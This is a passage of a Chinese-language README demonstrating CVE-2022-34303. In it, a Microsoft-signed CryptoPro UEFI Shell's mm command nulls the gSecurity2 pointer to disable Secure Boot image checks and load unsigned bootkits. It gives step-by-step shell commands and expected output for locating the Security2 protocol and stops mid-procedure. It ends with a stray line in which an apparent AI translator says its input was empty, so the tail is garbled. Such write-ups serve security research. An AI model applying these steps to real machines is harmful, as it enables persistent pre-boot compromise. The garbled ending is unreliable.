演示了 CVE-2022-34303 Secure Boot 绕过，通过 CryptoPro 签名的 UEFI Shell，使用 mm 命令将 gSecurity2 置空并加载未签名的 UEFI 应用程序。
CryptoPro Secure Disk UEFI Shell - 自带易受攻击的 UEFI 应用程序 (BYOVUA) - 通过签名的 UEFI Shell 和 gSecurity2 破坏实现 Secure Boot 绕过。
本仓库通过利用 CVE-2022-34303 演示了 BYOVUA（自带易受攻击的 UEFI 应用程序） 技术，该漏洞是 CryptoPro Secure Disk UEFI 引导环境中的一个 Secure Boot 绕过漏洞。
在本例中，Secure Boot 所信任的组件是一个由 Microsoft UEFI 第三方证书颁发机构签名的自定义 shim。一旦执行，该 shim 会加载一个 UEFI Shell 作为第二阶段，从而暴露 mm（内存修改）命令，因此在操作系统启动前的引导阶段提供了任意内存读写能力。
随后可以利用这一原语在 DXE 核心中定位并使 gSecurity2 全局指针失效。结果是，后续的 UEFI 映像验证被禁用，从而允许在 Secure Boot 已启用的情况下加载未签名的 UEFI 应用程序（即 bootkit）。
BYOVUA 是内核层面使用的 BYOVD（自带易受攻击的驱动程序）技术在 UEFI 中的对应物。攻击者不是携带一个存在漏洞的已签名内核驱动程序，而是携带一个已签名的 UEFI 应用程序——在本例中是一个完整的 UEFI Shell——其中包含能够破坏 Secure Boot 的功能。
由于该应用程序——在本例中是加载 UEFI Shell 作为第二阶段的自定义 shim——使用 Microsoft 受信任的证书签名，因此它会被 Secure Boot 毫无疑问地接受，使其在任何将该证书包含在其 Secure Boot 数据库（db）中的系统上都被信任——而这几乎涵盖了过去十年中出货的每一台支持 UEFI 的 PC。一旦运行，其内置命令就为攻击者提供了直接的硬件和内存访问能力，这些操作在操作系统加载之前进行，处于一个现代安全控制（ASLR、DEP、内核保护）根本不存在的环境中。
Shell_Full.efi 是作为 CryptoPro Secure Disk（一款预启动身份验证和磁盘加密产品）的一部分分发的 UEFI Shell。
| 属性 | 值 |
|---|---|
| 文件 | Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell) |
| 厂商 | CryptoPro Secure Disk |
| CVE | CVE-2022-34303 |
| 签名 | Microsoft Corporation UEFI CA 2011（第三方） |
| 发现 | Eclypsium（Mickey Shkatov、Jesse Michael）- 2022 年 8 月 |
| 演讲 | DEF CON 30 - "One Bootloader to Load Them All" |
| 吊销 | 通过 Microsoft KB5012170 添加到 DBX（2022 年 8 月） |
该漏洞并非一个 bug——而是一个设计缺陷。UEFI Shell 是合法的诊断工具，从未打算在 Secure Boot 环境中运行。然而，通过使用 Microsoft 受信任的证书对其进行签名，并将其作为商业产品的一部分分发，厂商无意中创建了一个已签名的 Secure Boot 绕过途径。
核心问题在于：一个被 Secure Boot 信任的已签名二进制文件，通过其内置命令提供了不受限制的内存读写能力。这种组合破坏了整个 Secure Boot 信任模型。
mm（内存修改）命令是 UEFI Shell 的标准内置命令，提供对系统内存的直接读写访问。它记录在 UEFI Shell 规范（第 5.3 节）中。```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| 参数 | 描述 |
|-----------|-------------|
| `Address` | 目标内存地址 |
| `Value` | 要写入的值（只读时省略） |
| `-w` | 宽度：1、2、4 或 8 字节 |
| `-MEM` | 系统内存访问 |
| `-MMIO` | 内存映射 I/O |
| `-IO` | I/O 端口访问 |
| `-n` | 非交互模式（不提示下一个地址） |
---
<div id='gsecurity2'/>
### ***gSecurity2 与安全架构协议***
UEFI 中的安全启动镜像验证通过 [安全架构协议](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) 强制执行，该协议定义于 UEFI 平台初始化（PI）规范中。
DXE 核心（DxeMain）维护一个名为 [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) 的全局指针，它指向 `EFI_SECURITY2_ARCH_PROTOCOL` 结构。该协议包含一个函数指针——`FileAuthenticationState`——每次加载 UEFI 镜像时，`LoadImage()` 都会调用它：```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
当调用 LoadImage() 时，DXE 核心会检查：```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
通过将 `gSecurity2 = NULL` 设置，`if` 检查失败，`FileAuthenticationState` 永远不会被调用。镜像验证被完全跳过——**Secure Boot 仍处于“启用”状态，但不再强制执行**。未签名的 UEFI 应用程序随后可以自由加载。
要深入理解此技术，包括一个专门构建的、可自动定位并修补 gSecurity2 的 UEFI 应用程序，请参阅配套项目：[利用技术 - 通过 gSecurity2 破坏绕过 UEFI Secure Boot](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption)。
---
<div id='BYOVD'/>
### ***与内核 BYOVD 的相似之处***
UEFI BYOVUA 与内核 BYOVD 之间的结构相似性是精确的：```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
两种攻击都利用了同一个根本缺陷：一个被安全机制信任的已签名组件，提供了禁用该机制本身所需的原语。
已签名的 Shell_Full.efi 被放置在 EFI 系统分区（ESP）上，并配置为启动选项。由于它由 Secure Boot 信任的证书链签名，固件会验证并顺利加载它。```
EFI System Partition (ESP)
└── EFI/
└── Boot/
| └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher
|
└── CPSD/
└── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA
└── startup.nsh (Script) ← Auto-executed on shell launch
---
<div id='Phase2'/>
### ***阶段 2 - 枚举 Security2 协议句柄***
从 UEFI Shell 中，目标是找到暴露 `EFI_SECURITY2_ARCH_PROTOCOL`（GUID：`94AB2F58-1438-4EF1-9152-18941A3A0E68`）的句柄，并获取其协议接口的内存地址。
> **注意：** 在大多数 EDK2 Shell 构建中，`dh -p <GUID>` 命令无法解析原始 GUID——它只能识别已注册的协议名称。以下方法适用于任何 EDK2 Shell 版本。
**步骤 1 - 查找 SecurityStubDxe 句柄**
列出所有句柄并查找 `SecurityStubDxe`，它是安装两个安全架构协议的 DXE 驱动程序：```
Shell> dh
在输出中，识别加载为 SecurityStubDxe 的句柄：```
10: Image(SecurityStubDxe)
**步骤 2 - 检查相邻句柄**
`SecurityStubDxe` 在单独的句柄上安装 Security 协议，通常是紧随其后的那个句柄。这些句柄在简短列表中显示为空，因为 Shell 无法将其 GUID 映射为友好名称。使用详细模式检查它们：```
Shell> dh -v 11
预期输出：``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
如果句柄 `0x11` 不包含这些 GUID，请尝试 `0x12` —— 确切的句柄编号因固件版本而异。
**步骤 3 - 记录接口地址**
这两个协议及其接口地址如下：
| GUID | 协议 | 接口地址 |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
**Security2 接口地址**（本例中为 `0x3EE8C3A0`）是 DxeMain 内部 `gSecurity2` 全局指针所存储的值。该值在阶段 3 中需要用到。
---
<div id='Phase3'/>
### ***阶段 3 - 在内存中定位 gSecurity2***
`gSecurity2` 变量是 DXE 核心（`DxeMain`）内部的一个全局指针。其值等于阶段 2 中找到的协议接口地址。目标是找到存储该指针的内存地址 —— 不是指针的值，而是变量本身。
**步骤 1 - 获取 DXE 核心映像布局**```
Shell> dh -v 1
I'll analyze the request and translate the provided content. However, I notice that the actual content to translate was not included in your message — the INPUT section is empty.